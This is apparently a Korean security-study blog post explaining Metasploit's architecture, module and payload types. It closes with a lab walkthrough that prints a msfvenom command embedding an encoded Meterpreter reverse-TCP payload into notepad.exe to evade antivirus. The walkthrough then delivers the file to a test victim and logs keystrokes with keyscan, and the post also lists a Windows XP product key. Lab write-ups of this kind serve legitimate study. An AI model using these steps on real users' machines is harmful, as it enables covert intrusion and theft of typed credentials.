agencies

Metasploit 본문

Ⅲ. 정보보안

Metasploit

agencies 2024. 1. 23. 09:24

Metasploit이란?

메타스플로잇은 온갖 취약점 분석에 쓸 수 있는 종합선물세트이다.

메타스플로잇은 해킹이나 보안 취약점 분석에 많이 쓰이며 실제 보안 취약점 테스트를 위해

H. D.(무어)에 의해 개발되었다.

 

2003년 메타스플로잇 개발 당시 무어는 보안 취약점들을 점검하여 효과적으로 관리하려는 계획이었다.

처음에는 11개의 취약점을 기반으로 Perl로 개발하였으며 이후 Ruby로 개발하였다.

최초 버전에서 발전하여 현재는 약 1,000개가 넘는 취약점을 관리한다.

새로운 PC 바이러스가 나옴에 따라 백신의 크기가 점점 늘어나는 것과 유사하다.

즉 메타스플로잇은 Exploit(취약점)과 관련한 모든 메타 데이터를 관리하는 프레임워크라 할 수 있다.

 

* 프레임워크 : 소프트웨어 프레임워크는 복잡한 문제를 해결하거나 서술하는 데 사용되는 기본 개념 구조이다.

간단히 뼈대 골조 프레임워크라고도 한다. 이렇게 매우 폭넓은 정의는 이용어를 버즈워드(buzzword)로서 특히 소프트웨어 환경에서 사용할 수 있게 만들어 준다.

 

메타스플로잇이 매력적인 이유는 오픈소스라는 장점을 지니고 있기 때문이다.

메타스플로잇은 방대한 취약점 DB를 이용하여 악성 코드를 작성하여 배포한다.

취약점이 노출된 시스템은 악성 코드로 침입자에게 접근권한을 주고 침입자는 시스템에 접속하여 장악하게 된다.

 


 

메타스플로잇의 가장 큰 특징은 내부 프레임워크를 사용하여 쉽게 익스플로잇 코드를 만든다는 점이다.

즉 우리가 하나하나 코딩할 필요가 없다는 뜻이다.

 

REX라이브러리 : REX는 Ruby Extension Library의 약자로 프로젝트에 사용되는 기본적인 클래스와 컴포넌트 집합을 뜻한다. REX는 관련 도구로 네트워크 작업을 지원하며 주로 소켓과 프로토콜 텍스트 변환 SSL SMB HTTP Base64 코딩 등의 작업을 위한 관련 라이브러리를 제공한다.

 

MSF Core : 메타스플로잇의 기본 API를 제공한다. 주로 모듈 관리와 세션 관리 이벤트 디스패치 등의 기능을 제공한다.

 

MSF Base : MSF Core 상단에서 Core를 쉽게 다룰 수 있는 API를 제공한다. 환경 설정과 로그 세션 등을 다룰 수 있게 한다.

 

메타스플로잇 라이브러리는 익스플로잇 코드 등의 작성에 필요한 가장 기본적인 클래스 등을 제공한다.

인터페이스는 코드를 제작할 수 있는 환경을 제공한다. 해당 인터페이스는 다음과 같다.

 

콘솔 : msfconsole은 메타스플로잇과 직접 상호작용하는 환경을 제공한다.

CLI : Command line interface의 약자로 MS윈도우의 DOS가 대표적이다. msfcil는 운영체제에서 메타스플로잇에 실행 명령을 내린다.

웹 : 웹 브라우저를 통해 메타스플로잇의 실행을 명령한다.

GUI : 윈도우 창을 띄워 쉽게 메타스플로잇을 사용할 수 있게 한다.

 

메타스플로잇에서 모듈은 익스플로잇 제작에 필요한 기본 기능을 제공한다.

여기서 익스플로잇은 공격자에 의해 노출된 취약점을 이용한다. 해당 취약점은 개발자의 실수나 오류로 생긴 의도치 않은 보안 문제점이다.


 

버퍼 오버플로우 : 버퍼오버플로우 또는 버퍼 오버런은 메모리를 다루는 곳에 오류가 발생하여 잘못된 동작을 하게 되는 프로그램 취약점이다. 컴퓨터 보안과 프로그래밍에서 프로세스가 데이터를 버퍼에 저장할 때 프로그래머가 지정한 곳 바깥에 저장하는 것을 말한다. 벗어난 데이터는 인접 메모리를 덮어쓰게 되며 이곳에는 이미 다른 데이터가 포함되어 있을 수도 있다. 이렇게 손상을 받을 수 있는 데이터에는 프로그램 변수와 프로그램 흐름 제어 데이터도 포함된다. 이 때문에 잘못된 프로그램 동작이 나타날 수 있으며 메모리 접근 오류나 잘못된 결과 프로그램 종료 시스템 보안 누설 등이 발생할 수 있다.

모듈 설명
exploit 목표시스템의 취약점을 건드릴 수 있는 코드를 말한다
payload 취약점을 통해 목표 시스템에서 실행할 셸 코드 등을 말한다
encoder 보안탐지 장비(IDS IPS 등)를 회피하기 위한 난독화 작업을 지원한다
NoP No Operation의 약자로 Payload를 안정적으로 실행시킬 수 있는 코드이다
Aux Aux 모듈은 주변 환경 정보를 알 수 있는 모듈로 즉 정보 수집(db 네트워크 등)이 주요 목표이다

 

 

DLL : 동적 링크 라이브러리는 마이크로소프트 윈도우에서 구현된 동적 라이브러리이다. 내부에는 다른 프로그램이 불러서 쓸 수 있는 다양한 함수들을 가지고 있는데 확장DLL일 때는 클래스를 가지고 있을 수 도 있다.

DLL은 COM을 담는 그릇의 역할도 한다.


VNC 인젝션

VNC 인젝션 페이로드는 작은 VNC 서버를 윈도우 시스템에 보내고 나서 목표 시스템의 VNC 서버에 접속하는 방식이다

이 기능은 목표 시스템의 전체 GUI 화면을 보여준다 단점은 사용자가 시스템을 사용 중일 때 바로 문제가 있음을 알아차릴 수 있다

 

* VNC : virtual network computing 가상 네트워크 컴퓨팅은 컴퓨터 환경에서 RFB프로토콜을 이용하여 원격으로 다른 컴퓨터를 제어하는 그래픽 데스크톱 공유 시스템이다. 자판과 마우스 이벤트를 한 컴퓨터에서 다른 컴퓨터로 전송시켜서 네트워크를 거쳐 그래픽 화면을 갱신하는 방식을 제공함

 

파일실행

파일 실행 페이로드는 목표 시스템에 공격 파일을 업로드한다. 업로드된 파일은 목표시스템 접근을 위한 공격자의 백도어나 루트킷으로 쓰인다.

 

백도어 : 일반적인 인증 통과와 원격 접속을 보장하고 평문에의 접근을 취득하는 등의 행동을 들키지 않고 행하는 방법을 일컫는다. 백도어는 설치된 프로그램 형태를 취하기도 하고 기존 프로그램 또는 하드웨어의 변형일 수 있다.

 

루트킷 : 컴퓨터 소프트웨어 중에서 악의적인 것들의 모음으로써 자신의 또는 다른 소프트웨어의 존재를 가림과 동시에 허가되지 않은 컴퓨터나 소프트웨어의 영역에 접근할 수 있게 하는 용도로 설계되었다.

 

 

대화형 셸

대화형 셸 페이로드는 공격자에게 목표 시스템의 셸을 제공한다.

윈도우 시스템이면 DOS를 제공한다.

리눅스나 유닉스에서 해당 공격은 전체 접근권한을 준 것과 다름없이 매우 막강하다.

 

명령어 실행

명령어 실행 페이로드는 목표 시스템에 명령어를 실행한다.

별도의 상호작용 없이 명령어를 실행시키면서 여러 다른 공격을 섞어 실행한다.

 

DLL 인젝션

DLL 인젝션은 목표 시스템에서 실행 중인 익스플로잇 애플리케이션에 공격자 DLL을 추가하는 방법이다.

공격자는 자신이 원하는 코드를 집어넣을 수 있는데 VNC 인젝션도 이 방법을 사용한다.

 

사용자 추가

사용자 추가 페이로드는 목표 시스템에 새로운 사용자를 생성한다.

사용자가 생성되면 공격자는 원격 실행을 통해 시스템에 접근할 수 있다.

또한 리눅스에서는 사용자가 ROOT권한을 얻을 수 있고 윈도우에서는 Administrator 그룹에 포함될 수 있다.

 

Meterpreter

미터프리터 페이로드는 스위스 군용칼과 같은 만능 도구이다.

이것은 목표 시스템의 정보 출력 프로세스 조정 화면 캡처 등 많은 기능을 제공한다.

한마디로 시스템을 마음대로 다룰 수 있는 매우 강력한 도구이다.


※ REVERSE TCP

공격자가 목표 시스템으로부터 연결을 받는 것을 말한다.

악성코드 등의 실행을 통해 사용자가 공격자가 유도한 시스템으로 접속하는 것이다.

반대 개념은 Bind TCP라 한다.

Reverse TCP는 방화벽이나 IDS IPS 등의 보안 장비에 의해 탐지가 되면 연결이 막힌다.

우리가 쉽게 인터넷이나 메타스플로잇을 통해 만든 대부분의 페이로드나 셸 코드는 이러한 보안 탐지로 거의 대부분 막힌다.

실제 보안 장비를 우회하려면 다양한 우회기법과 인코딩으로 침투해야 한다.


 

윈도우 XP 서비스팩 3 ISO를 통해 실습을 진행해보고자합니다.

 

 

MK78Q-DK2YJ-X3FVR-Q7M4M-GKB3D (windows xp 시디키)

 

 

 

windows xp에 있는 notepad.exe 파일을 kali(공격자)로 이동시켰습니다.

 

msfvenom을 이용한 payload 조회 : msfvenom -l payloads

msfvenom을 이용한 encoder 조회 : msfvenom -l encoders

 

 

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.179.131 -f exe -x notepad.exe -k -e
x86/shikata_ga_nai -i 3 -o mal_notepad.exe

 

*파일명(대소문자구분)

옵션 설명
p 적용할 페이로드를 선택
lhost 공격자의 ip주소(상대 목표 시스템에서 접속할)
f 만들 파일 포맷
x 셸 코드를 넣을 템플릿 파일(악성코드를 넣을 원본 파일)
k 원본 파일의 원래 기능을 유지
e 백신이나 IDS 탐지를 피할 인코더 선택 (선택한 인코더의 적용 횟수를 i로 지정)
o 최종으로 만들어질 파일의 경로와 파일명을 지정

 

공격자의 화면으로 돌아와서 터미널에 msfconsole을 입력한다.

 

 

피해자가 mal_notepad.exe를 실행하기까지 대기하면 된다.


mal_notepad.exe 파일을 옮기기 위하여 서버를 구축한 후 파일을 업로드 및 다운로드 할 수 있는 페이지를 구축합니다.

 

 

파일이 성공적으로 업로드 되었으니, 피해자 PC에서 위 파일을 내려받습니다.

 

 

피해자가 mal_notepad.exe 파일을 다운로드 받은 화면

 

 

피해자는 mal_notepad.exe 파일을 실행을 하게 되었으며,

공격자 화면에서는 세션이 맺어지며 미터프리터로 화면이 넘어가는 것을 볼 수 있습니다.

 

 

미터프리터에 keyscan_start를 키 입력을 스니핑 하고

keyscan_stop을 통해 서비스를 종료할 수 있다.

 

키 입력 내용은 keyscan_dump로 확인할 수 있다.

 

 

 

'Ⅲ. 정보보안' 카테고리의 다른 글

ARP Spoofing 실습  (0) 2024.01.26
웹 해킹 입문 자료실  (0) 2024.01.23
도구모음 암호풀기 비제네르 (vigenere)  (0) 2024.01.22
도구모음 온라인 모스부호 디코더  (0) 2024.01.22
도구모음 HxD 다운로드  (0) 2024.01.22